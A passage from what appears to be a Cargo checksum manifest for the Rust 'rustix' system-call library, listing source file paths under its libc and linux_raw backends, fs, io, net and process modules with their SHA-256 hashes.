/mod.rs":"8aa966faf3853d1a93d0ed91f7e5f4a53539b0287b25a5bfe489fa1d07f7cfd7","src/backend/libc/mount/syscalls.rs":"1bc87501a078616d0190d2e85de55f3f968b8cb79d49bd9eb839a350eed26089","src/backend/libc/mount/types.rs":"1b0d527ae5a272ae441fa35192616a867090204404324a341a7864ae1f5ea3fd","src/backend/libc/net/addr.rs":"9bdc2febb20785bc26a820eaba52cb546c67c79cb547f08105087cd0f79d5861","src/backend/libc/net/ext.rs":"0dd64877abe1ba86b47a2ab34340e3f6cc7b53b22d0bb5e237daf6a82edd46b0","src/backend/libc/net/mod.rs":"5f0bd80a6575aba4a714443ca99af76ad15b053f1f8029aa1d9c7fa10e6d9242","src/backend/libc/net/msghdr.rs":"64825203c09cb60ac4e869cd27a44697f1efe53455c41684279d50d8f0a96701","src/backend/libc/net/read_sockaddr.rs":"b1a72b7bd56cd152ed0731f571e4d9411b2974f860fc045319dc74b5b077e569","src/backend/libc/net/send_recv.rs":"1450ca958431a5bf3a85cdeef88b387f30d5c1215de2c56d164ccda38f21b36c","src/backend/libc/net/sockopt.rs":"178a6622bab25bf1813d6c17151f48d820e238db8cbd05be3aae563902d6c53e","src/backend/libc/net/syscalls.rs":"1c703ea3d7a1d0bfa43ffe07425882f310260589d513e1a936de434fa653cf3a","src/backend/libc/net/write_sockaddr.rs":"6f06f6cf6089fbc43f93f4f3830468735c92277595769867cb6c89e1fe1c299a","src/backend/libc/param/auxv.rs":"fc9476c85482b1d44190289224ccf40c96fbf3a2fe3d8554ddb42acb2e97a8ae","src/backend/libc/param/mod.rs":"5234b8f1bcb886cca6ea003d411d75eaeebe58deedd80e3441354bf46ed85d4d","src/backend/libc/pid/mod.rs":"2c6478857a0751625edabd61acb841819bfba1093b1faeded15693c805d84952","src/backend/libc/pid/syscalls.rs":"49ea679b96c0741d048e82964038f9a931bc3cf3a0b59c7db3df89629b9c49e6","src/backend/libc/pipe/mod.rs":"8aa966faf3853d1a93d0ed91f7e5f4a53539b0287b25a5bfe489fa1d07f7cfd7","src/backend/libc/pipe/syscalls.rs":"8affde100f6a9dfc762b79d1e48be5c1039be414f8ef7d5a6acaba882a68d259","src/backend/libc/pipe/types.rs":"bcf2751691748b5084a6d8d8851b496bc2ee9011fc1c717839b09b07d423eb7f","src/backend/libc/prctl/mod.rs":"2c6478857a0751625edabd61acb841819bfba1093b1faeded15693c805d84952","src/backend/libc/prctl/syscalls.rs":"8a2684f444a7555098dce2b92270d81cefdae902716c6e5d59bd7b0657e8a29d","src/backend/libc/process/cpu_set.rs":"b3d36b01b53b0b6c61a20ed8a69d48eccdd90cc17f82f2926ef1e844f002d0b7","src/backend/libc/process/mod.rs":"3f376060815d2ed78081ddf6fb0cddc97dff5dac2f4934f0672cb09736e16377","src/backend/libc/process/syscalls.rs":"278c87df6321cad2bd37049a7cfeecad7dd54f5e3a8449368da4c3409637e6af","src/backend/libc/process/types.rs":"c011d60d93130e1233ee1d69de1e834a6ce05628220a1c0bea9b5c6eb4c853a2","src/backend/libc/process/wait.rs":"0cc556aed976b4bbb3965f74fd76b8216c755fce25043b7b21ce54afa07c9773","src/backend/libc/pty/mod.rs":"2c6478857a0751625edabd61acb841819bfba1093b1faeded15693c805d84952","src/backend/libc/pty/syscalls.rs":"699a4c325fc590b8b5dabfe5a9ff386809be14dd24bf35aa6ef581b2bd75457b","src/backend/libc/rand/mod.rs":"8aa966faf3853d1a93d0ed91f7e5f4a53539b0287b25a5bfe489fa1d07f7cfd7","src/backend/libc/rand/syscalls.rs":"78c7201e6bcb75e9cab9486d1878861319f865de2b2c46437be68690bd17bf13","src/backend/libc/rand/types.rs":"4eb0b4cdd0a9b089d1c9f6a25ad1ca97be28a38b7b07a705ec605b773f63f880","src/backend/libc/shm/mod.rs":"8aa966faf3853d1a93d0ed91f7e5f4a53539b0287b25a5bfe489fa1d07f7cfd7","src/backend/libc/shm/syscalls.rs":"60d797d4e85e08e6330e6b8d80094356ce377e5484952f88ae2a6e49231c268c","src/backend/libc/shm/types.rs":"2206eac8ee74951b995e1e80f10bf235cc6b04e0a099f4adefce546378838233","src/backend/libc/system/mod.rs":"38563ea68829ca5a4b1b0695ac8a5c05718e85bdc88a36dc805efdfce45d3909","src/backend/libc/system/syscalls.rs":"abe1093f3495668d8576ae55073c74976cffb04d2e1bc20583d7ec12ac848b06","src/backend/libc/system/types.rs":"6871e16aee14fe2ae03cea798c3e509ffe44778a9c0e5608fd73e2e015876d7e","src/backend/libc/termios/mod.rs":"2c6478857a0751625edabd61acb841819bfba1093b1faeded15693c805d84952","src/backend/libc/termios/syscalls.rs":"77c4c6fdfe036251ee1540df5b398a38d87597a5e7e94abaf9b983419ae4ca24","src/backend/libc/thread/futex.rs":"b666828653b12634bbd7fd709acf69641b648ec40962a1d4f904c5db14d2eff5","src/backend/libc/thread/mod.rs":"fa710053974d7f16a6c49242ee6c10a3b9e1143452b9daeaed8837302a679fff","src/backend/libc/thread/syscalls.rs":"c8e84ad232ec1317be989529c24e204c51bb4e1e0212de2c1937b00bc92e5483","src/backend/libc/time/mod.rs":"38563ea68829ca5a4b1b0695ac8a5c05718e85bdc88a36dc805efdfce45d3909","src/backend/libc/time/syscalls.rs":"f82e0725c5af8a52e61ee83aad2c77694f2f7a72ac1e6eb284109a70ac6edc38","src/backend/libc/time/types.rs":"47ab4178a51c246ecc5f2a2fcca7f6ad9c8a1a45d11dadcb95ee0e4f82e8dfe2","src/backend/libc/ugid/mod.rs":"2c6478857a0751625edabd61acb841819bfba1093b1faeded15693c805d84952","src/backend/libc/ugid/syscalls.rs":"8edf91b8790add23902c9f5418da6b0723a371677f29f490e0c8af852f0f1a0c","src/backend/libc/winsock_c.rs":"3bf3884fd250eca806ffdf96da68e29c133a697810b78b333ea449e523e58562","src/backend/linux_raw/arch/aarch64.rs":"2a255c9135bc8a321c180f52b88eb2b158bc9170cd222149caeae63c24587d44","src/backend/linux_raw/arch/arm.rs":"165bccb5883d0136e55d42091183765f83d86e9d37a7cb2cec9ae8af32774db6","src/backend/linux_raw/arch/mips.rs":"24af364aa93fd4b9917639d473336490a143f0d1723b09f388e72d534160ee51","src/backend/linux_raw/arch/mips32r6.rs":"e436a2ade34f2f7c58b8924462b07a2499dfc951e1e1318d51759444fb8b658e","src/backend/linux_raw/arch/mips64.rs":"897da9ddc877963ad59464d7f81dc59df8a7e91251e6adea14cfd946e2740a1c","src/backend/linux_raw/arch/mips64r6.rs":"3c08aea13c1139fb0dfbe74ca3d0147f007c3aa2eda641afb82c46f6aa4f6cd1","src/backend/linux_raw/arch/mod.rs":"37eaeea601d39be00d170856a31a8ec6a27b0d3ac22ab3ee642ab0e45dee237d","src/backend/linux_raw/arch/powerpc64.rs":"dfb001f8636a5e46d728900b0804fe6c374e5e18a6f0e76d7d62e0c07da74477","src/backend/linux_raw/arch/riscv64.rs":"41d33242d941030f46077dc2b1bc4c7913fe7630d693a5a7eef966bcf38f9d8b","src/backend/linux_raw/arch/thumb.rs":"2fd979ab421248c0a4c592bc0cefee63edc26528f469b71b63eaed35356e42e8","src/backend/linux_raw/arch/x86.rs":"81c73c0a13925854b54db754f533dec565b1db2d9586e210a2450c6f5915171d","src/backend/linux_raw/arch/x86_64.rs":"e929036a1f3cf93ba538f4523b241605cc7b5e61f84ffe6d9d5cdbcb6f73e543","src/backend/linux_raw/c.rs":"74cdf34fcd5bba9628c04585fa13721073e2bffe6740315c7655d1a55150230f","src/backend/linux_raw/conv.rs":"fd339c2e78e6470cb03614540bea2958eec83f1b6cbecc68696a2d2061365f90","src/backend/linux_raw/event/epoll.rs":"4ae8f9de28c6875ab29cde7da9b4b01a6578e905c7a0e0b461d26025cb24ab52","src/backend/linux_raw/event/mod.rs":"72e46b04637e2d1d2a6b97af616144995399e489d1fe916faf835d72fc8c64cd","src/backend/linux_raw/event/poll_fd.rs":"fe1c289980384edf7334a4afe92f92cb6f51b7c0431ecb19930426a3bdb89fa5","src/backend/linux_raw/event/syscalls.rs":"8782cdf978bff0773bf5f35c1056d5c29a40742cf6f99d9606d951b52596cd34","src/backend/linux_raw/event/types.rs":"9538403f2e2c5ffcc939769d83fbfcc2db03874b45c36a2858ba07a05a3e3635","src/backend/linux_raw/fs/dir.rs":"c675dc5413428d2defd6752e99d210da83639779e853db209de6a1c08d35e0e7","src/backend/linux_raw/fs/inotify.rs":"9fc5edea36e347041a39e583cb473dd84af40c63fff3dfbb85a1a97d2833d8e5","src/backend/linux_raw/fs/makedev.rs":"c6b4505c4bcbbc2460e80f3097eb15e2c8ef38d6c6e7abd78e39c53c372139e2","src/backend/linux_raw/fs/mod.rs":"8689e46f9c4c3e1190ae5fe39176c573cccac10b3739472128ca237f41e2686a","src/backend/linux_raw/fs/syscalls.rs":"a4512f58e2ef01bf0799c96fa7821284866b6826594642565f46d93e566e2e12","src/backend/linux_raw/fs/types.rs":"ccbce0b7971064c71b16a341b7f39bf2c375262ea199d6fcf9d1b073b032ccf1","src/backend/linux_raw/io/errno.rs":"2681fe1f7da132414606a7c0dbc1c2cbc43e45f326f00d06cdff51d9724c8c5e","src/backend/linux_raw/io/mod.rs":"7ae2324427892cca6f5ab53858d847b165f790a72ec25f3d99fb15f0506c9f27","src/backend/linux_raw/io/syscalls.rs":"831ce424f0032e6891d46503e972313fd7a46f15cb2fbb1f87e40fb05a018e9a","src/backend/linux_raw/io/types.rs":"d0df5a62248e1ba19af0f89f86da7ba2312d97065c2814ddf6b08a4a0db23bad","src/backend/linux_raw/io_uring/mod.rs":"2c6478857a0751625edabd61acb841819bfba1093b1faeded15693c805d84952","src/backend/linux_raw/io_uring/syscalls.rs":"0f7c9cb7ccddf5687e4b9e5b23558871a452a29ac6095a0184a06c47b9b18eb6","src/backend/linux_raw/mm/mod.rs":"8aa966faf3853d1a93d0ed91f7e5f4a53539b0287b25a5bfe489fa1d07f7cfd7","src/backend/linux_raw/mm/syscalls.rs":"ac77ee94bb26bc959d3b077ef60e72863ef845c1438646b61755bdb861467bc6","src/backend/linux_raw/mm/types.rs":"46abdd2492301b7fe542ea3949eef2cfe28959cdd1f571ee1350e35b6517349b","src/backend/linux_raw/mod.rs":"bb26fe4783f834a4624c99ecf9e4ea8fa4d1c7fe9adfb6d7310fac689e7797bc","src/backend/linux_raw/mount/mod.rs":"8aa966faf3853d1a93d0ed91f7e5f4a53539b0287b25a5bfe489fa1d07f7cfd7","src/backend/linux_raw/mount/syscalls.rs":"3947261b5d46b9737f02dc5352c3a3a35c63c461fd75bcd8ae6619dfc0bfb54d","src/backend/linux_raw/mount/types.rs":"af364e3f054b0fa55562827944235055beb752716347645cd1775d1a4d5615c1","src/backend/linux_raw/net/addr.rs":"fbb6c071a8ebc2c557c7013d36d4b540c1ff6ed63103d0a8abcacd8977fbf5c8","src/backend/linux_raw/net/mod.rs":"904b2ccd4228ebcda25db0223b92fb03e4042bcc7b0a202f19410a8a5ff517a5","src/backend/linux_raw/net/msghdr.rs":"a88e8395dd5a25c103dc2172d4e7013e5104a6d70091ad78efd286ebc8284acf","src/backend/linux_raw/net/read_sockaddr.rs":"4ab5d470f03f19a928327603e1d55de8b9e21cbe4bfc6ed65d856803092b1c90","src/backend/linux_raw/net/send_recv.rs":"6d5d2aec61a3c1b4a5fef1a8a487dc8e163da8988d1237541ed008baa01128cc","src/backend/linux_raw/net/sockopt.rs":"2ea8625ecd68a799c14ed48dec2f3e01f085222b6cc36f4916b20143e08ae575","src/backend/linux_raw/net/syscalls.rs":"b231754af1c94f61d206839b45f51516e0210761bbbcc1ef68c1fe6fc8a1bbbb","src/backend/linux_raw/net/write_sockaddr.rs":"a9374256cb47b3f4d5fec308986a109ce51a521abab31590df1f66c04c07d437","src/backend/linux_raw/param/auxv.rs":"c6a74c0b41aa28c850a80aad7cbad677df65c1f3eb78415872f6f3d1166716f4","src/backend/linux_raw/param/init.rs":"a5024f9afe361884f22fb4d65e632ccd8a60f1138ff6bd526df600d40e0d9b7e","src/backend/linux_raw/param/libc_auxv.rs":"167621c0b1bfd06c91c1201e9404d6624aa0a702ade17c6e37d9370c636be589","src/backend/linux_raw/param/mod.rs":"2e6a1a1c00351b9c88bd615aa923f71d76208df5626dd9bea03067f28f81dc31","src/backend/linux_raw/pid/mod.rs":"2c6478857a0751625edabd61acb841819bfba1093b1faeded15693c805d84952","src/backend/linux_raw/pid/syscalls.rs":"eef6aa01830ddd510b83f507da2002c03e58318b73744be2c06ebbe33c4f194f","src/backend/linux_raw/pipe/mod.rs":"8aa966faf3853d1a93d0ed91f7e5f4a53539b0287b25a5bfe489fa1d07f7cfd7","src/backend/linux_raw/pipe/syscalls.rs":"366c730fc3e991bddb9f5a15b8c3917a8e6ace6d1d5a9113b2749e476faf6f83","src/backend/linux_raw/pipe/types.rs":"caee78eaf13af02e5c4024c7459f23287dfd2c544ebab1dc5f728106fafe24da","src/backend/linux_raw/prctl/mod.rs":"2c6478857a0751625edabd61acb841819bfba1093b1faeded15693c805d84952","src/backend/linux_raw/prctl/syscalls.rs":"a18b224307e0d27bda9b7b85c75cd6c7ddfe39f5ce52efb7bb0bf0585b757343","src/backend/linux_raw/process/cpu_set.rs":"dfdcbdf35aff6a3e08e7d38193bf18c12ca8aa64eb0dc417667be82dcc0f7c55","src/backend/linux_raw/process/mod.rs":"fb393c70a9c63ef9a6bf1fb5a2dc94f07d6b0b6987cc5231c15c607015dafd68","src/backend/linux_raw/process/syscalls.rs":"a2e446ba4e09727d11fc3b3d4bb316a659399aad186c08aa5bba80e62741265a","src/backend/linux_raw/process/types.rs":"6811ba822bc12a1a6336649151b4adb1f5d3365684a31c07f01953ea9547743d","src/backend/linux_raw/process/wait.rs":"921aee4b0048746087f52615a98edc2aa0fb4b53d6df44be4533098df55d1b05","src/backend/linux_raw/pty/mod.rs":"2c6478857a0751625edabd61acb841819bfba1093b1faeded15693c805d84952","src/backend/linux_raw/pty/syscalls.rs":"ae09c4aecc0ae87b1ca58d82efc58007b9dddaae78460d615f48da19d1cd0f89","src/backend/linux_raw/rand/mod.rs":"8aa966faf3853d1a93d0ed91f7e5f4a53539b0287b25a5bfe489fa1d07f7cfd7","src/backend/linux_raw/rand/syscalls.rs":"a84f70251672e92f253838bf05e989434f67373233e88d21d8835cbb792b1fe3","src/backend/linux_raw/rand/types.rs":"a21dbb1ab31eed6b59a57520be5a3c603c36d18ea74e67f7527f40835ba209a3","src/backend/linux_raw/reg.rs":"def5f88730bd625b2298c86559b5a378fce4bf6ce225204740ba087e034abce6","src/backend/linux_raw/runtime/mod.rs":"b2cae8cce3822c3c92942f06ea0b68464040dcac33c6f0f7ee392c6269993347","src/backend/linux_raw/runtime/syscalls.rs":"90849c8e429f215c225d430e7f550b5da0bb96054ef01745d3184f6c890ba8cf","src/backend/linux_raw/runtime/tls.rs":"6316060560a112c2e9cd9807cdba6e8c91414113a04a739160929ae9a67bba1f","src/backend/linux_raw/shm/mod.rs":"8aa966faf3853d1a93d0ed91f7e5f4a53539b0287b25a5bfe489fa1d07f7cfd7","src/backend/linux_raw/shm/syscalls.rs":"3ebf91610b02de0312e1f0f0cc5d56e12b4d93794540087b3182cbdf3cb9c8db","src/backend/linux_raw/shm/types.rs":"b831b474aba7eb97167c9289f5257776a72b39134b44e67a0ecfcef2394dcd47","src/backend/linux_raw/system/mod.rs":"8aa966faf3853d1a93d0ed91f7e5f4a53539b0287b25a5bfe489fa1d07f7cfd7","src/backend/linux_raw/system/syscalls.rs":"2af6c2672a6528b404b52f501d9803a63e9f47886d3b5d2d2dc5a71cefa7327a","src/backend/linux_raw/system/types.rs":"1ceab8d738a71043473b26e97fa3fd79d588a86d4774cbc9b9e1d4f1447a016e","src/backend/linux_raw/termios/mod.rs":"2c6478857a0751625edabd61acb841819bfba1093b1faeded15693c805d84952","src/backend/linux_raw/termios/syscalls.rs":"151f03b938aec36a38fbf4e4b507ddc84d0999a246ee48abd5893464daa736a8","src/backend/linux_raw/thread/futex.rs":"0aa0f9f5be6a79de81e82c9f11f1bf8831f682a4b2f6cb29669e1591636f084e","src/backend/linux_raw/thread/mod.rs":"6ad4a4b90b9234e79900b27ebbe8837e3a7a36aec532912e3e253edce5225067","src/backend/linux_raw/thread/syscalls.rs":"0e3dca63be7322e1e9c58456b28eb8548abb9f08b4436b87b139e891c01c446d","src/backend/linux_raw/time/mod.rs":"672724f55b7b7be6a7452bb1cc2d28b5f0aaa840a2856fe363acce624e1beefc","src/backend/linux_raw/time/syscalls.rs":"451da0bbb66accdf58ee7f2f8746a93b22ee985907a08717a3d3b1650457d878","src/backend/linux_raw/time/types.rs":"028d2993df8fffe5581f7082b8849381bb21928930dc93e4a536a9c7a316c71d","src/backend/linux_raw/ugid/mod.rs":"2c6478857a0751625edabd61acb841819bfba1093b1faeded15693c805d84952","src/backend/linux_raw/ugid/syscalls.rs":"8c86d251db33b399a1d1cbb8e87afe650b78db84f444d3251309b7a0480b54f7","src/backend/linux_raw/vdso.rs":"056314f72c71d4b041739337ca2098afb7fe070f844327f462c293f43481b75b","src/backend/linux_raw/vdso_wrappers.rs":"3bec7ee7daacc93b26c15e829e3ecdea62f9fc62244841ec80ee47a55806a69e","src/bitcast.rs":"e21c87c292c781b27256c6f5dcf9fd52dd69ed6e21016cbd67ac31a8219ebf8e","src/check_types.rs":"e52f710e1cfc12ca13a495f2b43c227b293ff295e1ce3ab332935b28a7579872","src/clockid.rs":"e41172c87401ef7b8ad37ec09b5b690c55c51b37009414a2089b34dcac9d93a9","src/cstr.rs":"41af2a4429fe6c67a8883f8a8f63d66c90df566abda74fd2b03bcef7b9f24218","src/event/eventfd.rs":"81cbd08f7bdf40a6ce1ca692b63da1dc8ba925282990668d9d68f1203e839fa1","src/event/kqueue.rs":"222842df22e66f41d93dacd3cba933810d9313d5ca9959fddabedda9c4312bf2","src/event/mod.rs":"326a7ddfeb33bb95dd31391d65f400fa622e5d0ab827c096cab16af4b6843b51","src/event/poll.rs":"0ee583dbd457a573a82a06c04a2a24bd2c76e751d27a435507d55338e2871327","src/event/port.rs":"4e51ff150e5d17cbd44aa64a38b99c15e26eaaf2e350768b5dcacdfde4fa5212","src/ffi.rs":"c2b8b38c02d72749aceb715c496726caba1f1fa989ad3856d0103a2fafed89ed","src/fs/abs.rs":"10e1a148a5b05476efbb591dcc969c1a6caf3d2d9592741eef22341a97c8f4a3","src/fs/at.rs":"a12f382f7b544ae4bbb7a967de43178dad796e05fd6eb8136e1a34236b48f9dc","src/fs/constants.rs":"23923e0fce3221bdac371fe2d05028f30a87dba4f9b4a573b69dc2d6d39320b2","src/fs/copy_file_range.rs":"d3b644374390d482b2ff749a2459458872b57d0dcf9670368739b7833509a7c2","src/fs/cwd.rs":"9f429a79ace6e17455634da09216ee0ad3d067a4541518b3193ae6a8d9ff1e26","src/fs/dir.rs":"347a52f4ca9ac6321c52e802e97ec90d1b4c62ec955c8996fc17f8f5aed69966","src/fs/fadvise.rs":"1220e2cf5cf58fc7cc950d48738050a052c504f745ca67130daa6410e248230a","src/fs/fcntl.rs":"1d1ee1e0bc962779e1cc1b8b76f39c820746240557daa9e14b47b1799120dc39","src/fs/fcntl_apple.rs":"e2f23f038083621bcdecc98d02ce1023508afaecdb2ed0fba5c8b70f955301e5","src/fs/fcopyfile.rs":"ce565f61e1fbf2e31086077c2f1d01b6bb3b048915edda87fe9a4a4f5e8ff7e4","src/fs/fd.rs":"fe53f211e91352d522ac4f3b553a9366506458e2158295a93c5e746618f7a5fe","src/fs/getpath.rs":"28f6970fc1bbc37bb35c84724b59eac436ea7407a4522e18c2bdacb1fdd2edd9","src/fs/id.rs":"1b5c8a8baf9a9bb1f895f97189cea4e5982a0d35b192afeec6340a6c6222e0cb","src/fs/ioctl.rs":"e798eb41bbc201c375bc295ad2928c2467b45b4fbbff3c82236dccbc0d6391a5","src/fs/makedev.rs":"85520b484cb7c15ab71ea1c368578ea3b7e484d82f8510db92b6ce9f7ca341ae","src/fs/memfd_create.rs":"00df492a3afdfc65a07d6849422596bf6cd4608a653d5d25ba54d6640eacda11","src/fs/mod.rs":"2192ea7f6f81a18d892d3526df00c43d83669f1a1734957ba94cf8269980792e","src/fs/mount.rs":"8f6ea2b997dd83c50c90291b9ada3ed77a9ce1ad701c9b0d533b5113b317be5b","src/fs/openat2.rs":"4a95c15dab533a41201b5fa25c8a212956b7571d58cad696bdaf45af8aef96db","src/fs/raw_dir.rs":"18ad797876d6230c38d4cacbed081c4028e03ace477d0520d9b226b40de942f0","src/fs/seek_from.rs":"a9efa0feb9ac789cf47667e91efee2e3f2dcde16cb3b7a928c99da640fa0e0d6","src/fs/sendfile.rs":"e3b2058741cf4b1698f34d84bb37130cf2b72806d522a16fe541e832cde136cb","src/fs/statx.rs":"f925be3d9a179a903549b3ac18038d004f4f2021e46dad4aa2757907aebefeca","src/fs/sync.rs":"a3b23543834281f347b0f873bd38154d31d404871188ac08f2b20b9196234cfd","src/fs/xattr.rs":"5e222adb52caf69d949ab3f944fb2a482dd6ca3a47200532ca6e72d44cbe8334","src/io/close.rs":"0aa3cd05a8fed8e5244f97b8b6c2e7f65ed93a4e5435c6329852bb3da7514440","src/io/dup.rs":"bbebf4633120e21c7c49ecb93576cffa7e908f8089deb260f8d97426b469a0d4","src/io/errno.rs":"58a4d20ba0924e4d514e3c876fbe08982f1623187642ae14780815e65989c8c8","src/io/fcntl.rs":"5b7696e40757615940745ecc7f33d84678d24f55eba978a8efdd0805cba7b1c1","src/io/ioctl.rs":"3dffbda413fd380f1580e2e75c531a5f4a0487417ea1c235c23fe46b70e46bd9","src/io/is_read_write.rs":"1bfb9ee5d58e0b29b44af12fe2668c7bccc841358698dcde47f1519ff9bb73b4","src/io/mod.rs":"75f1d0646be1d4c7c08b5887d8119b0103be8c25c43ccd4e0e97015508c0bb8f","src/io/read_write.rs":"77b8058769dc0bf5a88d73acd7ce70af1a89c549b00b790e281dc20364bcb6af","src/io_uring.rs":"4e641c9aaeba14890e4a354ad8b1fda8fe617923b4d3d685da22721d66a14bdf","src/ioctl/bsd.rs":"e33772530b1b2d1e7d61ce53d9267e68d88f7f5df13301f90412d89a46c6faaa","src/ioctl/linux.rs":"96df90bbc926783f387e8fe1656841d4c7a857fd4e9f41f95492f7dcece33074","src/ioctl/mod.rs":"d2233ba2a81738828d28d4297f8dafaf254c475174de48bd0fe3891d29a71bfe","src/ioctl/patterns.rs":"af24c47597e619a8e0fd3ca071f21db1963a629b511d9279ef9d36a8030a6fe8","src/lib.rs":"ee2b60b7b29c9f4e0f474534a76961c2ce5c9f3640eea67fa395e633b64efa6e","src/maybe_polyfill/no_std/io/mod.rs":"77889bb5c5a4f2e50e38379cdaa5d0fef4b0cafc3da056735df01f6deae75747","src/maybe_polyfill/no_std/mod.rs":"ec94a4aab4bc475785e469d10fd6bc95667e1d47d958e9cff3a19049d88c8c80","src/maybe_polyfill/no_std/net/ip_addr.rs":"046327ee244f758f2bc31d3be305d8cd0dfd8342aac1add8259e999b4b46c4a7","src/maybe_polyfill/no_std/net/mod.rs":"486555be5c56cf3e049e65a1ea73aa60839c6f6ca667833e88ee4f360f9606dd","src/maybe_polyfill/no_std/net/socket_addr.rs":"bfeb32d32c176cde76323abcffebfc47e9898fb8d7ce3668c602dc8451086a2d","src/maybe_polyfill/no_std/os/fd/mod.rs":"27ef0afbcb0695cbb15101070f417eb51e0ef85ae66ec967d95e80771d507c47","src/maybe_polyfill/no_std/os/fd/owned.rs":"ab86ffa2693a04f3085770faf395f95e5303001711be8b19c44a47a0ac574091","src/maybe_polyfill/no_std/os/fd/raw.rs":"f3648c7bd4a6ff94bd823ed9e0d99d398e02f24875cf9b25962736999e7c6943","src/maybe_polyfill/no_std/os/mod.rs":"27dab639a765827644005d5f2fcc7c825310606b889cc8dd83f54c9528350dc0","src/maybe_polyfill/no_std/os/windows/io/mod.rs":"5bbcc05c83fee5026dd744a994e0458469466d5be39081baa62df07753b92fd2","src/maybe_polyfill/no_std/os/windows/io/raw.rs":"4c32609a489dd938a49328b5637cb3bafb96437f2f9f269ab66d7d3cb90247f6","src/maybe_polyfill/no_std/os/windows/io/socket.rs":"c658f42f24eff44a661f2adfd24a11af80fe9897f3e2af4dc5d2c64808308d65","src/maybe_polyfill/no_std/os/windows/mod.rs":"fdb416f8f231a4e778b5f985b9ae712ece5e1a1402963ad1a5f6a8b9843795f4","src/maybe_polyfill/std/mod.rs":"7c16c86cc73e226e65ead598e4018238b22000a345040b706bf1e1b3eba115fc","src/mm/madvise.rs":"69481cd3354dbffe6cd93b234448e59de6d0fe6440bcf8b12f951f37745bc1dc","src/mm/mmap.rs":"8cd1a8278e138d0805726474bb3016fdaa09a8074bbc8f20d1e842e7fc17efa3","src/mm/mod.rs":"b3a6cb838986d45825b912355cedead761211a494ca6f89b2367a2d2157e340e","src/mm/msync.rs":"a9092be024ecbfa9c14edb935404513498b0da2ac6c99fc31fe4e58196a95f02","src/mm/userfaultfd.rs":"8073443bd181ff0b3ba4d0b1ae67370b4864035a0c8b4898cd709dc47c518ae7","src/mount/fsopen.rs":"160e384e9175fd98669cda1cf3590bb195c2ba7e1c724e9ea06e692595e58ba1","src/mount/mod.rs":"5f0c9df4727592695deb1cd63ae1de021b03dcd9d0d1b68e1f34d12a7136cb19","src/mount/mount_unmount.rs":"8ad11675e5d762d33fbefbed06a6a9f9e52a9b689bd06662446152614321ab77","src/mount/types.rs":"601ae3e10b7dc496fed7f3b40a80e81c6edd7bf13189d7be45c3212d4c684c39","src/net/mod.rs":"a6bc55f9e086caf46a7c00783498d73a328a66f2a991f1ec65d5f13931377b0f","src/net/send_recv/mod.rs":"7b77a70c0ad2601b5da30e8b202e34c6bfc9e10df4ce2b1a35b111522ae123a3","src/net/send_recv/msg.rs":"f100a88648b9eba88272aca77d76351432636022a1d4b0e9485e002a3489d05a","src/net/socket.rs":"1296706d964d110be7cd46b61a0a06dabf382a2377907ba41badfe94807cb50f","src/net/socket_addr_any.rs":"a9af81e967a91b45e51aec4f46a068fade7035c5d19dfaf05bfdcd3b3c32e9bf","src/net/socketpair.rs":"56f4885c31d2664cd16e18a9a88792a4912fedd953cec36dba67e8581fd57921","src/net/sockopt.rs":"4f00ff76d3cd3fd2e915f51eba59827fb60885d6b0c6d37b32ca4306cb8fe836","src/net/types.rs":"35878a8ff12cd7252ed735cb640bad03e4e13c6016769c2d154c0fab08505248","src/net/wsa.rs":"6e546b42f50a851fc833c57cda76cfb347203ed4b0dea574a3d325bf5a2ebf80","src/param/auxv.rs":"8602af47a39bb340d319807bdecdb9be8b467101a9ed96061277b90234801913","src/param/init.rs":"a31c0e5cea61a1a999767fe74f87c0d59eeb6bce66578b842fe0e0c32be27a55","src/param/mod.rs":"25b10acd5b1da8faa6f5204e6b0379b38bfab667916e886cca64bea01a42dec2","src/path/arg.rs":"d87117157ec21f61a5e50b2779b4284fd13dd7db11b20a6bc9e475d0e4a25357","src/path/dec_int.rs":"8ff8e14442c46f8e7a9b80d73973619b4271549b9defd538479bf8c2d93aa72e","src/path/mod.rs":"6b1b949c94bcc47e0f08a3f8e8db5b61ff497d0dfd3e0655f51c01d3e4b7dfd6","src/pid.rs":"f1c486000c5b1311b2d720cee88f089c17ef9a171709673dd06e6f35f4ff98a3","src/pipe.rs":"cec0a831237ab2652556b149767d1b382e9739a1bb21ea401a35b36df7f7a3e7","src/prctl.rs":"19aa584895874ea48b9bbe1bf695b81257b0281df64dfdd91e1b4bfa298661b7","src/process/chdir.rs":"911216459aa429fe9f125f1357d6900b43b0007835b85c719875d00f79a74664","src/process/chroot.rs":"2b5f6124eb19f26ad2705174f7ad50cdc0a5d15abd59ffcf55421228d82130b4","src/process/exit.rs":"48de66e5504a00cb375d8f415ce63b6225a3f5204268d40726a7d0fbba43f587","src/process/id.rs":"e4733f9e8e4b5f50e98ef7a23802e126f1f14ece8b3d7ae7446c6a66affc6bc1","src/process/ioctl.rs":"23ad0285671e8d7ca71a63c50655dbf732ccea8af11d754a0558e0236db37e76","src/process/kill.rs":"96d5ce432c19cf2b600d5248c681c117abf53ae94bbfca7e75ac533a40e3968e","src/process/membarrier.rs":"1c4c39b359d1d0e9bbe16352eedfca9278d9ef298ade8ec00e998617bbcbfed8","src/process/mod.rs":"70e7fc79e4edf3ffd56c20643707cafdc595330db68e4ff8f75dcb3756ad5b1d","src/process/pidfd.rs":"39de2dc7919eeeb53a5980622616140327671cd7e36bcf597aee1749df3a5b5b","src/process/pidfd_getfd.rs":"1faace75bdbcda57a296806dcfa5487811f8d11dad9e6199c98df72feae66724","src/process/prctl.rs":"0130d05362a17a9282f3391189095e1f4f51fb56d7a5205906a0011842df4576","src/process/priority.rs":"f135482e71ea8aa0daf92b9f238051178a4c904070fa8409622f94155df3c544","src/process/procctl.rs":"430ec397782772d5a028903c2813d3e11f7e577af144b9effd9c42629ac8d3d2","src/process/rlimit.rs":"10b79de3ced0e64059a94c879742d46a35a6176c776d8eed75031d5e6340283d","src/process/sched.rs":"b49ef463f44b5e90a04e9a08569d0ae20eecb8667f38f31c786df1eb099db466","src/process/sched_yield.rs":"6565faa3928b66ddc74a65e893e15edfa4b9be4f7e5f5f68527501a7f6bc3350","src/process/umask.rs":"1a0f31a842303c978e3f05ec191e2b5e96104c09c6596473b42b1fac34898a50","src/process/wait.rs":"612920489b5618bf82a9a615947e0acbed6eb310acbb9bb70e934d457dd1dd49","src/procfs.rs":"63b286dd3302be7f426841eb3b9261ef4785c3159ed78c24734bd5094c9b0b2e","src/pty.rs":"652c412e7280d0344b3f9bfe376c106a7f1b42b898b7af344e6e72da268e2bf0","src/rand/getrandom.rs":"1c8166a02a74f5593bb4673ef907524df04cbc1568020a5ab2ff7f4aa1283f8b","src/rand/mod.rs":"cab59332aadd9b679f5b22cbb222d48ee028af5